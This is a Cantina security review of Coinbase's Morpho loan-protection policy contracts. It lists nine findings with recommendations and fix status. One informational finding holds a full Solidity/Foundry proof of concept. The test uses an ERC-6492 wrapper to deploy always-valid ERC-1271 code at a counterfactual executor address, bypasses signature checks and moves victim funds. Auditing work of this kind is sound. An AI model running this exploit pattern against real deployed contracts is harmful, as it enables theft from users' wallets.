Coinbase

Coinbase - Morpho wETH Loan Policy

Cantina Security Report

Organization

@coinbase

Engagement Type

Cantina Reviews

Period

-


Findings

Medium Risk

1 findings

1 fixed

0 acknowledged

Low Risk

2 findings

2 fixed

0 acknowledged

Informational

6 findings

1 fixed

5 acknowledged


Medium Risk1 finding

  1. Absence of post-execution health check allows top-up to feed the liquidator

    Severity

    Severity: Medium

    Likelihood: Low

    ×

    Impact: High

    Submitted by

    Sujith S


    Description

    The PolicyManager._execute() implements a three-phase execution flow:

    1. Call policy.onExecute() to build the account call plan, 2 Execute the call plan against the account
    2. Call policy.onPostExecute() for post-execution validation.

    This third phase exists specifically to allow policies to verify that the account call achieved its intended outcome.

    However, neither MorphoLoanProtectionPolicy nor MorphoWethLoanProtectionPolicy override _onPostExecute() and it remains the base Policy no-op across all five layers of the inheritance chain. The postCallData returned by _onSingleExecutorExecute() is hardcoded to empty bytes.

    As a result, the policy only validates the position's health before the top-up (currentLtv >= triggerLtv), but never validates the outcome after the top-up. There is no on-chain guarantee that the supplied collateral actually moves the position out of the liquidation zone.

    The NatSpec in MorphoLoanProtectionPolicy.sol further understates this risk:

    /// Even after a successful top-up, the position may become/// unhealthy again in subsequent blocks.

    This implies the top-up at least restores the position to a healthy state within the current block, with the risk being future
    degradation. This is incorrect as the position can remain above LLTV immediately after the top-up within the same transaction, due to market movement between the executor's signature and the transaction's inclusion.

    PoC

    The following scenario demonstrates concrete fund loss:

    Setup:

    • WETH/USDC market: LLTV = 90%, triggerLtv = 80%, maxTopUpAssets = 10 WETH
    • Position: 100 WETH collateral, 72,000 USDC debt
    • WETH = $1,000 → LTV = 72,000 / 100,000 = 72% (healthy)

    Step 1: Trigger detected:

    • WETH drops to $900 → collateral value = $90,000
    • LTV = 72,000 / 90,000 = 80% → hits triggerLtv
    • Executor signs a 10 WETH top-up and submits the transaction

    Step 2: Price moves before inclusion:

    • Before the transaction is mined, WETH crashes to $700
    • Collateral value = 100 × $700 = $70,000
    • LTV = 72,000 / 70,000 = 102.9% → already above LLTV, position is liquidatable

    Step 3: Top-up executes anyway:

    • The pre-execution LTV check passes: 102.9% >= 80% triggerLtv ✓
    • The one-shot is consumed: _usedPolicyId[policyId] = true
    • 10 ETH is wrapped to WETH, approved, and supplied as collateral to Morpho
    • Post top-up state: 110 WETH at $700 = $77,000 collateral value
    • New LTV = 72,000 / 77,000 = 93.5% → still above LLTV (90%)
    • No post-execution check exists to catch this as _onPostExecute() is a no-op

    Step 4: Liquidation seizes the freshly added collateral:

    • The position remains liquidatable immediately after the top-up
    • A liquidator seizes collateral, including the 10 WETH just supplied
    • The one-shot is permanently consumed as no further protection is available

    Without the top-up, the user keeps 10 ETH in their wallet. Only the existing 100 WETH collateral is exposed to the liquidator. With the top-up, the user loses an additional 10 ETH that is seized by the liquidator for zero benefit

    Recommendation

    Use the existing _onPostExecute() hook to verify the position exited the liquidation zone after the top-up. Return the necessary context (market ID, market params) via postCallData from _onSingleExecutorExecute(), and override _onPostExecute() in MorphoLoanProtectionPolicy to recompute the post-top-up LTV and revert if it remains at or above lltv.

    This causes the entire transaction to revert and the ETH stays in the wallet, the one-shot is preserved, and the executor can retry with a larger amount or the account can take alternative action.

    Additionally, update the NatSpec disclaimer to accurately reflect that a successful top-up does not guarantee the position becomes healthy within the current block.

    Coinbase: Fixed in 6b0f3f8

    Cantina: Verified fix.

Low Risk2 findings

  1. Parameter triggerLtv lacks minimum buffer from market lltv, reducing policy effectiveness

    Severity

    Severity: Low

    Submitted by

    Sujith S


    Description

    The function _onSingleExecutorInstall() in MorphoLoanProtectionPolicy is responsible for setting the policy’s initial parameters at installation. However, it only enforces a single constraint on triggerLtv: that it must be strictly less than the market’s lltv.

    if (config.triggerLtv >= marketParams.lltv) revert TriggerLtvAboveLltv(config.triggerLtv, marketParams.lltv);

    This effectively permits configurations where triggerLtv is set extremely close to lltv (e.g., 85.9999% when lltv is 86%). In such cases, the executor has almost no practical window to react detecting the risky position, signing the intent, and submitting the transaction before the position becomes liquidatable.

    Even minor changes, such as a single block’s interest accrual or an oracle price update, can push the LTV past the threshold. As a result, the protection mechanism becomes unreliable: it may trigger too late (after liquidation eligibility) or fail to trigger altogether if the LTV jumps directly beyond the configured threshold.

    Recommendation

    Enforce a minimum buffer (e.g., 5% in WAD) between triggerLtv and lltv at install time:

    uint256 public constant MIN_LTV_BUFFER = 0.05e18;                                                                                                                    if (config.triggerLtv + MIN_LTV_BUFFER > marketParams.lltv)                                                                                   revert TriggerLtvTooCloseToLltv(config.triggerLtv, marketParams.lltv);

    This ensures the executor has a meaningful reaction window between the trigger firing and the position becoming liquidatable.

    Coinbase: Fixed in b5f298ee

    Cantina: Verified fix. The proportional ratio approach is better than the absolute buffer we recommended. An additional recommendation is to enforce constructor bounds on MAX_TRIGGER_LTV_RATIO (for example 0 < ratio < 1e18) and keep an explicit triggerLtv < lltv install time check as defense in depth, so misconfiguration cannot weaken the buffer guarantee.

  2. No minimum top-up enforcement, executor can waste one-shot with dust amount

    Severity

    Severity: Low

    Submitted by

    Sujith S


    Description

    In the function _onSingleExecutorExecute(), the top-up amount is validated as:

    if (topUpAssets == 0) revert ZeroAmount();                                                                                                if (topUpAssets > config.maxTopUpAssets) revert TopUpAboveMax(topUpAssets, config.maxTopUpAssets);

    There is a ceiling (maxTopUpAssets) but no floor. The executor chooses topUpAssets freely and signs over it the config gives the account no way to enforce a minimum useful amount. A malicious or buggy executor can sign a top-up of 1 wei, which:

    1. Passes all validation (non-zero, under max, LTV above trigger)
    2. Permanently consumes the one-shot (_usedPolicyId[policyId] = true)
    3. Has negligible effect on the position's LTV

    The account loses their protection and must uninstall, re-install (or replace), and obtain a new executor signature to restore coverage all while the position remains at risk.

    Recommendation

    Rather than a static minTopUpAssets (which is hard to size correctly across market conditions), consider enforcing a target LTV in the config that the post-top-up position must satisfy. The _onPostExecute() hook (currently unused) can verify that the position's LTV after the top-up is below a configured threshold (e.g., triggerLtv or a separate targetLtv). If the top-up is insufficient to reach the target, the entire transaction reverts, preserving the one-shot and the account's ETH.

    Coinbase: Fixed in 6b0f3f8

    Cantina Verified fix. This only protects against dust top-ups when the position is near or above LLTV. If
    the position is at 80% LTV (well below 90% LLTV), a dust top-up would still pass the post-hook (post-top-up LTV ≈ 80%, still below LLTV). But in that scenario, the one-shot waste is less harmful and the position isn't at immediate liquidation risk. The fix handles the dangerous case correctly.

Informational6 findings

  1. Third party collateral supply frontrunning can lead to repeated protection policy reverting and delayed execution

    State

    Acknowledged

    Severity

    Severity: Informational

    Submitted by

    Christos Pap


    Description

    Morpho Blue's supplyCollateral accepts an onBehalf parameter, allowing anyone to supply collateral to any account's position. A malicious actor can monitor the mempool for the executor's PolicyManager.execute transaction and front run it by supplying a small amount of collateral to the target account's Morpho position. This temporarily lowers the account's LTV below triggerLtv, causing the protection policy to revert with HealthyPosition. Although the one shot is not consumed (as the entire transaction reverts), the protection is delayed. If repeated, the position can reach LLTV and be liquidated while the policy never successfully fires.

    The pre-execution LTV check in both MorphoLoanProtectionPolicy and MorphoWethLoanProtectionPolicy compares the current on-chain LTV at execution time against triggerLtv:

    src/policies/MorphoLoanProtectionPolicy.sol

    uint256 currentLtv = _computeCurrentLtv(config, marketParams, account);if (currentLtv < config.triggerLtv) revert HealthyPosition(currentLtv, config.triggerLtv);

    The _computeCurrentLtv function reads the position's collateral directly from Morpho Blue's state, which reflects any collateral supplied by third parties in the same block:

    src/policies/MorphoLoanProtectionPolicy.sol

    morphoBlue.accrueInterest(marketParams);
    Position memory position = morphoBlue.position(config.marketId, account);Market memory market = morphoBlue.market(config.marketId);
    uint256 collateralBefore = uint256(position.collateral);

    Morpho Blue's supplyCollateral is permissionless for the onBehalf parameter and anyone can supply collateral to any position:

    IMorphoBlue.supplyCollateral

    function supplyCollateral(    MarketParams calldata marketParams,    uint256 assets,    address onBehalf,   // ← any address, no authorization required    bytes calldata data) external;

    Recommendation

    It's recommended to configure the executor bot to use private mempools (for example Flashbots Protect) to prevent front running visibility, and implement retry logic on HealthyPosition reverts, and consider adding a small buffer below triggerLtv in the LTV check to absorb minor collateral donations without reverting.

    Coinbase: Acknowledged, no-op. We noted this scenario with our product team.

    Cantina: Acknowledged.

  2. Parameter triggerLtv of zero allows unconditional execution regardless of position health

    Severity

    Severity: Informational

    Submitted by

    Sujith S


    Description

    In function _onSingleExecutorExecute() of MorphoWethLoanProtectionPolicy, the LTV trigger check is:

    if (currentLtv < config.triggerLtv) revert HealthyPosition(currentLtv, config.triggerLtv);

    Since currentLtv is a uint256, the condition currentLtv < 0 is never true. A triggerLtv of zero therefore means the executor can trigger the one-shot top-up at any time, even when the position is perfectly healthy. The install validation only enforces triggerLtv < lltv, zero passes this check for any valid market.

    An account setting triggerLtv = 0 gives the executor unconditional authority to wrap the account's ETH into collateral at any moment.

    Recommendation

    Enforce triggerLtv > 0 at install time in _onSingleExecutorInstall(), or document that zero means "always trigger" so account signers are aware of the semantics.

    Coinbase: Fixed in PR 28

    Cantina: Verified fix.

  3. Unbound ERC-6492 wrapper enables attacker to deploy arbitrary ERC-1271 code at counterfactual executor address

    State

    Acknowledged

    Severity

    Severity: Informational

    Submitted by

    Christos Pap


    Description

    In SingleExecutorPolicy, execution authentication via _validateAndConsumeExecutionIntent_isValidExecutorSig validates executor signatures through PublicERC6492Validator.isValidSignatureNowAllowSideEffects. However, the signed execution digest does not bind the ERC-6492 wrapper preimage (factoryAddress, factoryCalldata).

    The policy treats the configured executor address as the authentication boundary, but under side-effect-capable ERC-6492 validation the code that ultimately answers isValidSignature can be determined at validation time by the relayer via the wrapper. This breaks the implicit invariant that the executor address corresponds to fixed verification logic.

    If the executor is configured as a counterfactual (undeployed) address, a relayer can submit an ERC-6492 wrapper that deploys attacker-controlled ERC-1271 code at that same executor address during validation, causing attacker signatures to pass.

    Exploitability depends on whether the configured counterfactual executor address is attacker-deployable. If the executor address is derived from a permissionless deployment path (for example a factory + salt combination that allows arbitrary deployment), an untrusted relayer can deploy attacker-controlled code there during ERC-6492 validation. If the deployment path is restricted, or if the executor is already deployed with trusted code, the attack is blocked.

    The relayer controls the ERC-6492 wrapper, including the factory and deployment calldata supplied to the validator. However, exploitation succeeds only if the chosen wrapper reproduces a deployment path that can instantiate code at the preconfigured executor address. In practice, this requires that the configured counterfactual executor address is attacker-deployable via its actual deployment mechanism (for example the same factory, salt, and deployment semantics, or another equivalent mechanism that yields that exact address).

    The executor signature validation always routes through the side-effect-capable path:

    src/policies/SingleExecutorPolicy.sol

    function _isValidExecutorSig(address executor, bytes32 digest, bytes memory signature) internal returns (bool) {    return policyManager.PUBLIC_ERC6492_VALIDATOR().isValidSignatureNowAllowSideEffects(executor, digest, signature);}

    The signed digest binds policyId, account, policyConfigHash, actionDataHash, nonce, and deadline, but not the ERC-6492 wrapper fields:

    src/policies/SingleExecutorPolicy.sol

    function _getExecutionDataHash(bytes memory actionData, uint256 nonce, uint256 deadline)    internal    pure    returns (bytes32){    return keccak256(abi.encode(EXECUTION_DATA_TYPEHASH, keccak256(actionData), nonce, deadline));}

    The install path only checks that the executor address is non-zero, and it does not verify the address has code or pin any deployment invariants:

    src/policies/SingleExecutorAuthorizedPolicy.sol

    function _onInstall(bytes32 policyId, address account, bytes calldata policyConfig) internal override {    _storeConfigHash(policyId, policyConfig);    (SingleExecutorConfig memory singleExecutorConfig, bytes memory policySpecificConfig) =        _decodeSingleExecutorConfig(policyConfig);    if (singleExecutorConfig.executor == address(0)) revert ZeroExecutor();    _onSingleExecutorInstall(policyId, account, singleExecutorConfig, policySpecificConfig);}

    Proof Of Concept

    The PoC demonstrates that when the executor is an undeployed counterfactual address and its deployment path is attacker-controllable, a relayer can use an ERC-6492 wrapper to deploy arbitrary ERC-1271 code at that address during validation and bypass executor authentication. It intentionally interacts with a permissionless factory that allows deployment to the target address (via a controllable salt), modeling a configuration where the executor address is attacker-deployable. This results in successful execution of a value-moving action without a valid signature from the intended executor.

    This issue is exploitable when all of the following hold:

    • The executor is a counterfactual (undeployed) address
    • Signature validation uses ERC-6492 with side effects
    • The executor address is attacker-deployable via its actual deployment path
    • The signed execution intent does not bind deployment preimage (factory + calldata)

    If the executor is already deployed, or its deployment path is restricted (for example fixed factory, controlled salt, or bound initcode), the attack is not possible.

    Step 1. Add the following test file to the repository at test/unit/policies/MorphoLendPolicy/erc6492CounterfactualExecutorExploit.t.sol:

    // SPDX-License-Identifier: MITpragma solidity ^0.8.23;
    import {Test} from "forge-std/Test.sol";
    import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
    import {ERC1967Factory} from "solady/utils/ERC1967Factory.sol";
    import {MockCoinbaseSmartWallet} from "../../../lib/mocks/MockCoinbaseSmartWallet.sol";import {MockMorphoVault} from "../../../lib/mocks/MockMorpho.sol";
    import {PublicERC6492Validator} from "../../../../src/PublicERC6492Validator.sol";import {PolicyManager} from "../../../../src/PolicyManager.sol";import {MorphoLendPolicy} from "../../../../src/policies/MorphoLendPolicy.sol";import {SingleExecutorPolicy} from "../../../../src/policies/SingleExecutorPolicy.sol";
    /// @dev ERC-20 token with public mint for test setup.contract MintableTokenCF is ERC20 {    constructor() ERC20("Loan", "LOAN") {}
        function mint(address to, uint256 amount) external {        _mint(to, amount);    }}
    /// @dev ERC-1271 implementation that accepts ANY signature.///      Deployed by the attacker at the counterfactual executor address during validation.contract AlwaysValidERC1271 {    function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4) {        return 0x1626ba7e;    }}
    /// @dev Minimal verifier shim placed at Solady's hardcoded non-reverting ERC-6492 verifier address.///      Executes the side-effect (factory deploy) before validating the inner ERC-1271 signature.contract TestERC6492VerifierCF {    bytes4 internal constant ERC1271_MAGICVALUE = 0x1626ba7e;
        fallback(bytes calldata data) external returns (bytes memory result) {        if (data.length < 64) return bytes("");
            address signer;        bytes32 digest;        assembly {            signer := and(calldataload(0), 0xffffffffffffffffffffffffffffffffffffffff)            digest := calldataload(32)        }
            bytes calldata wrapped = data[64:];        (address target, bytes memory prepareCalldata, bytes memory innerSig) =            abi.decode(wrapped, (address, bytes, bytes));
            // Side effect: deploys attacker code at the executor address.        (bool prepared,) = target.call(prepareCalldata);        if (!prepared) return bytes("");
            // Validate the inner signature against the newly deployed executor.        (bool ok, bytes memory ret) = signer.staticcall(abi.encodeWithSelector(ERC1271_MAGICVALUE, digest, innerSig));        if (!ok || ret.length < 32) return bytes("");        if (abi.decode(ret, (bytes4)) != ERC1271_MAGICVALUE) return bytes("");
            return hex"01";    }}
    /// @title ERC6492CounterfactualExecutorExploitTest////// @notice Demonstrates the strongest variant of the ERC-6492 side-effect attack:///         the executor is a counterfactual (undeployed) address predicted via CREATE2.///         The attacker uses the ERC-6492 wrapper to deploy AlwaysValidERC1271 code at///         that address during signature validation, then executes an unauthorized///         MorphoLend deposit that moves funds from the victim's wallet.//////         This variant requires NO special properties on the executor (no mutable signer,///         no access control weakness), the attacker deploys their own code from scratch.contract ERC6492CounterfactualExecutorExploitTest is Test {    bytes32 internal constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;    bytes32 internal constant EXECUTION_TYPEHASH = keccak256(        "Execution(bytes32 policyId,address account,bytes32 policyConfigHash,ExecutionData executionData)"        "ExecutionData(bytes actionData,uint256 nonce,uint256 deadline)"    );    bytes32 internal constant EXECUTION_DATA_TYPEHASH =        keccak256("ExecutionData(bytes actionData,uint256 nonce,uint256 deadline)");
        address internal constant ERC6492_VERIFIER = 0x0000bc370E4DC924F427d84e2f4B9Ec81626ba7E;    bytes32 internal constant ERC6492_DETECTION_SUFFIX =        0x6492649264926492649264926492649264926492649264926492649264926492;
        // Victim: legitimate account owner    uint256 internal ownerPk = uint256(keccak256("victim-owner"));    address internal owner = vm.addr(ownerPk);
        // Attacker: untrusted relayer    uint256 internal attackerPk = uint256(keccak256("attacker"));    address internal attacker = vm.addr(attackerPk);
        MockCoinbaseSmartWallet internal account;    PublicERC6492Validator internal validator;    PolicyManager internal policyManager;    MorphoLendPolicy internal morphoLendPolicy;
        MintableTokenCF internal token;    MockMorphoVault internal vault;
        ERC1967Factory internal factory;    AlwaysValidERC1271 internal alwaysValidImpl;
        bytes internal policyConfig;    PolicyManager.PolicyBinding internal binding;    bytes32 internal policyId;    bytes32 internal salt;    address internal counterfactualExecutor;
        function setUp() public {        // Deploy the verifier shim at Solady's fixed address.        TestERC6492VerifierCF verifierImpl = new TestERC6492VerifierCF();        vm.etch(ERC6492_VERIFIER, address(verifierImpl).code);
            // Core infrastructure.        account = new MockCoinbaseSmartWallet();        bytes[] memory owners = new bytes[](1);        owners[0] = abi.encode(owner);        account.initialize(owners);
            validator = new PublicERC6492Validator();        policyManager = new PolicyManager(validator);        morphoLendPolicy = new MorphoLendPolicy(address(policyManager), owner);
            vm.prank(owner);        account.addOwnerAddress(address(policyManager));
            // Legitimate token + vault.        token = new MintableTokenCF();        vault = new MockMorphoVault(address(token));
            // CREATE2 factory + attacker's implementation.        factory = new ERC1967Factory();        alwaysValidImpl = new AlwaysValidERC1271();
            // Open salt: first 20 bytes zero => anyone can call deployDeterministicAndCall.        salt = bytes32(uint256(0x1234));        counterfactualExecutor = factory.predictDeterministicAddress(salt);
            // Install policy with the undeployed executor address.        // The victim trusts this address will eventually be their executor.        bytes memory policySpecificConfig = abi.encode(            MorphoLendPolicy.LendPolicyConfig({                vault: address(vault),                depositLimit: MorphoLendPolicy.DepositLimitConfig({allowance: uint160(500 ether), period: 1 days})            })        );        policyConfig = abi.encode(            SingleExecutorPolicy.SingleExecutorConfig({executor: counterfactualExecutor}), policySpecificConfig        );
            binding = PolicyManager.PolicyBinding({            account: address(account),            policy: address(morphoLendPolicy),            validAfter: 0,            validUntil: 0,            salt: 42,            policyConfig: policyConfig        });
            bytes memory userSig = _signInstall(binding);        policyId = policyManager.installWithSignature(binding, userSig, 0, bytes(""));
            // Seed victim wallet with funds.        token.mint(address(account), 1000 ether);    }
        /// @notice Demonstrates the counterfactual executor attack: attacker deploys their own    ///         ERC-1271 code at the predicted executor address via ERC-6492 side effect,    ///         then executes an unauthorized deposit moving funds from the victim's wallet.    function test_counterfactualExploit_deploysAttackerCodeAndDrainsFunds() public {        uint256 depositAmount = 100 ether;        uint256 walletBalanceBefore = token.balanceOf(address(account));
            // Verify: executor address has no code yet.        assertEq(counterfactualExecutor.code.length, 0, "executor should not be deployed yet");
            // Step 1: Attacker signs the execution digest with their own key.        // Since AlwaysValidERC1271 accepts any signature, the content doesn't matter,        // but we sign properly for completeness.        bytes memory actionData = abi.encode(MorphoLendPolicy.LendData({depositAssets: depositAmount}));        uint256 nonce = 1;        uint256 deadline = 0;        bytes32 digest = _executionDigest(policyId, actionData, nonce, deadline);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerPk, digest);        bytes memory attackerInnerSig = abi.encodePacked(r, s, v);
            // Step 2: Craft ERC-6492 wrapper that deploys AlwaysValidERC1271 at the executor address.        bytes memory deployCalldata = abi.encodeCall(            ERC1967Factory.deployDeterministicAndCall, (address(alwaysValidImpl), attacker, salt, bytes(""))        );        bytes memory wrappedSig =            abi.encodePacked(abi.encode(address(factory), deployCalldata, attackerInnerSig), ERC6492_DETECTION_SUFFIX);
            // Step 3: Build the full execution data.        bytes memory executionData = abi.encode(            SingleExecutorPolicy.SingleExecutorExecutionData({nonce: nonce, deadline: deadline, signature: wrappedSig}),            actionData        );
            // Step 4: Attacker calls execute as an untrusted relayer.        vm.prank(attacker);        policyManager.execute(address(morphoLendPolicy), policyId, policyConfig, executionData);
            // Verify: attacker-controlled code is now deployed at the executor address.        assertGt(counterfactualExecutor.code.length, 0, "executor should now be deployed");
            // Verify: funds moved from victim wallet to vault (unauthorized deposit succeeded).        assertEq(token.balanceOf(address(account)), walletBalanceBefore - depositAmount, "wallet should lose funds");        assertEq(token.balanceOf(address(vault)), depositAmount, "vault should receive funds");    }
        /// @notice Confirms the attack fails without the ERC-6492 wrapper . the executor has    ///         no code, so ERC-1271 validation fails and execute reverts.    function test_revertsWithoutWrapper_executorNotDeployed() public {        bytes memory actionData = abi.encode(MorphoLendPolicy.LendData({depositAssets: 100 ether}));        uint256 nonce = 1;        bytes32 digest = _executionDigest(policyId, actionData, nonce, 0);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerPk, digest);        bytes memory attackerSig = abi.encodePacked(r, s, v);
            bytes memory executionData = abi.encode(            SingleExecutorPolicy.SingleExecutorExecutionData({nonce: nonce, deadline: 0, signature: attackerSig}),            actionData        );
            // Without the wrapper, executor has no code,ssignature validation fails.        vm.expectRevert(abi.encodeWithSelector(SingleExecutorPolicy.Unauthorized.selector, attacker));        vm.prank(attacker);        policyManager.execute(address(morphoLendPolicy), policyId, policyConfig, executionData);
            // Executor still undeployed, funds untouched.        assertEq(counterfactualExecutor.code.length, 0);        assertEq(token.balanceOf(address(account)), 1000 ether);    }
        // ─── Helpers ───────────────────────────────────────────────────────
        function _executionDigest(bytes32 policyId_, bytes memory actionData, uint256 nonce, uint256 deadline)        internal        view        returns (bytes32)    {        bytes32 executionDataHash =            keccak256(abi.encode(EXECUTION_DATA_TYPEHASH, keccak256(actionData), nonce, deadline));        bytes32 structHash = keccak256(            abi.encode(EXECUTION_TYPEHASH, policyId_, address(account), keccak256(policyConfig), executionDataHash)        );        return _hashTypedData(address(morphoLendPolicy), "Morpho Lend Policy", "1", structHash);    }
        function _signInstall(PolicyManager.PolicyBinding memory binding_) internal view returns (bytes memory) {        bytes32 policyId_ = policyManager.getPolicyId(binding_);        bytes32 structHash = keccak256(abi.encode(policyManager.INSTALL_POLICY_TYPEHASH(), policyId_, 0));        bytes32 digest = _hashTypedData(address(policyManager), "Policy Manager", "1", structHash);        bytes32 replaySafeDigest = account.replaySafeHash(digest);
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPk, replaySafeDigest);        bytes memory sig = abi.encodePacked(r, s, v);        return account.wrapSignature(0, sig);    }
        function _hashTypedData(address verifyingContract, string memory name, string memory version, bytes32 structHash)        internal        view        returns (bytes32)    {        bytes32 domainSeparator = keccak256(            abi.encode(                DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(version)), block.chainid, verifyingContract            )        );        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));    }}

    Step 2. Execute the test:

    forge test --match-contract ERC6492CounterfactualExecutorExploitTest -vvvv

    Step 3. The results demonstrate that the attack succeeds

    Ran 2 tests for test/unit/policies/MorphoLendPolicy/erc6492CounterfactualExecutorExploit.t.sol:ERC6492CounterfactualExecutorExploitTest[PASS] test_counterfactualExploit_deploysAttackerCodeAndDrainsFunds() (gas: 357715)[PASS] test_revertsWithoutWrapper_executorNotDeployed() (gas: 120359)Suite result: ok. 2 passed; 0 failed; 0 skipped

    From the produced output, we can see that:

    1. Executor address has no code before the attack (counterfactualExecutor.code.length == 0)
    2. ERC1967Factory.deployDeterministicAndCall(AlwaysValidERC1271, attacker, salt, "") is called by the ERC-6492 verifier as a side effect, deploying attacker-controlled code at the executor address
    3. The newly deployed AlwaysValidERC1271 proxy returns MAGIC_VALUE (0x1626ba7e) for any signature
    4. PolicyManager.execute proceeds , the victim's wallet approves and deposits 100 LOAN tokens into the vault
    5. Final state: attacker-controlled code lives at the executor address, wallet balance decreased by 100 ether, vault balance increased by 100 ether

    Recommendation

    The current design uses a single EXECUTION_DATA_TYPEHASH for all executor types (EOA, deployed ERC-1271, counterfactual ERC-6492), keeping the EIP-712 signing schema independent of the signature delivery mechanism. This means the ERC-6492 wrapper, which only matters for counterfactual executors is never bound into the signed digest for any executor type. The simplicity tradeoff leaves the wrapper entirely relayer controlled.

    Some approaches can fix this while respecting the design intent:

    1. Extend the typehash with optional factory fields: Add factoryAddress and keccak256(factoryCalldata) to EXECUTION_DATA_TYPEHASH. EOA and deployed ERC-1271 executors sign over zero values for these fields. Counterfactual executors sign over the actual wrapper. Slightly messier signing flow but one typehash, and correct.

    2. Bind the wrapper outside EIP-712: Include a wrapperHash field in the SingleExecutorExecutionData struct (not the typehash). The executor hashes the wrapper separately and includes it alongside nonce, deadline, and signature. The contract verifies the wrapper matches before executing side effects.

    3. Disable ERC-6492 for executor signatures entirely: Use SignatureCheckerLib.isValidSignatureNow instead of isValidSignatureNowAllowSideEffects, and enforce require(executor.code.length > 0) at install time to prevent the two-tx race. One typehash, no wrapper concern, but counterfactual executors are no longer supported.

    Coinbase: Acknowledged: no-op as this is actually a security concern for 1271 signers that have insecure creation patterns, not a vulnerability specific to the protocol.

    Cantina: Acknowledged.

  4. Redundant idToMarketParams external call in _onSingleExecutorInstall

    State

    Acknowledged

    Severity

    Severity: Informational

    Submitted by

    Christos Pap


    Description

    In MorphoWethLoanProtectionPolicy._onSingleExecutorInstall, IMorphoBlue(MORPHO).idToMarketParams(config.marketId) is called twice during installation: once inside super._onSingleExecutorInstall (via _requireMarketParams) and again immediately after to check collateralToken == WETH. The second call is redundant since the market params are immutable in Morpho Blue and were already fetched and validated by the parent.

    The parent call fetches and validates market params:

    src/policies/MorphoLoanProtectionPolicy.sol

    function _onSingleExecutorInstall(...) internal override {    // ...    MarketParams memory marketParams = _requireMarketParams(config.marketId);    // _requireMarketParams calls IMorphoBlue(MORPHO).idToMarketParams(config.marketId) internally}

    The child calls it again to check WETH:

    src/policies/MorphoWethLoanProtectionPolicy.sol

    function _onSingleExecutorInstall(...) internal override {    super._onSingleExecutorInstall(policyId, account, singleExecutorConfig, policySpecificConfig);
        LoanProtectionPolicyConfig memory config = abi.decode(policySpecificConfig, (LoanProtectionPolicyConfig));    MarketParams memory marketParams = IMorphoBlue(MORPHO).idToMarketParams(config.marketId); // ← redundant external call    if (marketParams.collateralToken != WETH) revert CollateralNotWeth(marketParams.collateralToken, WETH);}

    Recommendation

    It's recommended to keep the current implementation as-is. Given the modular design where the child override delegates to super and then adds its own validation, refactoring to pass the already-fetched marketParams down would require changing the parent's internal API.

  5. Full reimplementation of parent execute logic in WETH override can lead to silent divergence on future updates

    State

    Acknowledged

    Severity

    Severity: Informational

    Submitted by

    Christos Pap


    Description

    MorphoWethLoanProtectionPolicy._onSingleExecutorExecute completely overrides the parent MorphoLoanProtectionPolicy._onSingleExecutorExecute without calling super. It reimplements all the mechanisms, including the one shot guard, config decoding, market param resolution, top-up validation, and LTV trigger check and only differs in the final call plan construction (ETH wrapping instead of zero approve).

    Any future security fixes or enhancement to the parent's validation logic must be manually mirrored in the WETH variant, or the child silently diverges. This is not an issue today, as the reimplementation is done correctly, but represents a maintenance risk worth noting.

    Recommendation

    No changes are needed at this time. It's advised to keep this duplication in mind, if any security fix or validation change is applied to MorphoLoanProtectionPolicy:_onSingleExecutorExecute in the future, the same change must be manually applied to MorphoWethLoanProtectionPolicy:_onSingleExecutorExecute as well.

  6. _usedPolicyId and _configHashByPolicyId are never cleared on uninstall

    State

    Acknowledged

    Severity

    Severity: Informational

    Submitted by

    Christos Pap


    Description

    When a policy is uninstalled, _clearInstallState clears activePolicyByMarket and marketKeyByPolicyId but does not clear policy-local state such as _configHashByPolicyId[policyId], and (for loan-protection policies) _usedPolicyId[policyId]. These storage slots can remain populated after uninstall.

    This is not exploitable because policyIds are permanently "retired" by the PolicyManager: once marked uninstalled, a policyId cannot be reinstalled or executed. As a result, stale _configHashByPolicyId entries and stale _usedPolicyId flags are not reachable through meaningful execution paths.

    One minor side effect is that cancelNonces remains callable against uninstalled policies, since it only checks _requireConfigHash (which can pass against stale config hash state) and msg.sender == executor. However, cancelling nonces on an uninstalled policy has no practical effect. Execution is blocked by the PolicyManager's policyRecord.uninstalled check before control reaches policy execution logic.

    The only real cost is storage growth, which is minimal.

    Recommendation

    No changes are required from a security perspective. The stale storage is effectively unreachable under the permanent policyId model.